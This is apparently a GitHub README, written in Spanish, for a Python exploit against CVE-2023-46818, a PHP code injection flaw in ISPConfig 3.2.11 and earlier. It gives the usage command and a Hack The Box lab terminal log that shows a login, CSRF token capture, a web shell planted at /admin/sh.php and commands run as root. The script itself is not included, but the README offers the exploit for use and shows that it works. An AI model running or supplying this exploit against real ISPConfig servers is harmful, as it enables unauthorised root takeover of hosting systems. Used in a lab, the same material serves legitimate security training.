ajdumanhug/cve-2023-46818Exploit en Python3 para CVE-2023-46818 en ISPConfig <= 3.2.11 (language_edit.php): vulnerabilidad de inyección de código PHP
Este script de exploit en Python apunta a una vulnerabilidad de seguridad en el parámetro records de ISPConfig en /admin/language_edit.php, el cual no se sanitiza correctamente. Esto permite que un administrador autenticado inyecte y ejecute código PHP arbitrario.
La versión 3.2.11 y versiones anteriores.
python3 CVE-2023-46818.py <URL> <Username> <Password>
┌──(motoh4ck3r㉿kali)-[~/HTB/Linux/nocturnal]
└─$ python3 CVE-2023-46818.py http://127.0.0.1:8081 motoh4ck3r broombroom
[+] Logging in with username 'motoh4ck3r' and password 'broombroom'
[+] Login successful!
[*] Fetching CSRF tokens...
[+] CSRF ID: language_edit_92017c65f0bcba0f230f5cc1
[+] CSRF Key: 7d06eed7d23c29e5c9633920a8122339d91373e8
[+] Injecting shell payload...
[+] Shell written to: http://127.0.0.1:8081/admin/sh.php
[+] Launching shell...
ispconfig-shell# hostname & whoami & id
nocturnal
root
uid=0(root) gid=0(root) groups=0(root)
ispconfig-shell#
Agradecimientos a Egidio Romano por este descubrimiento.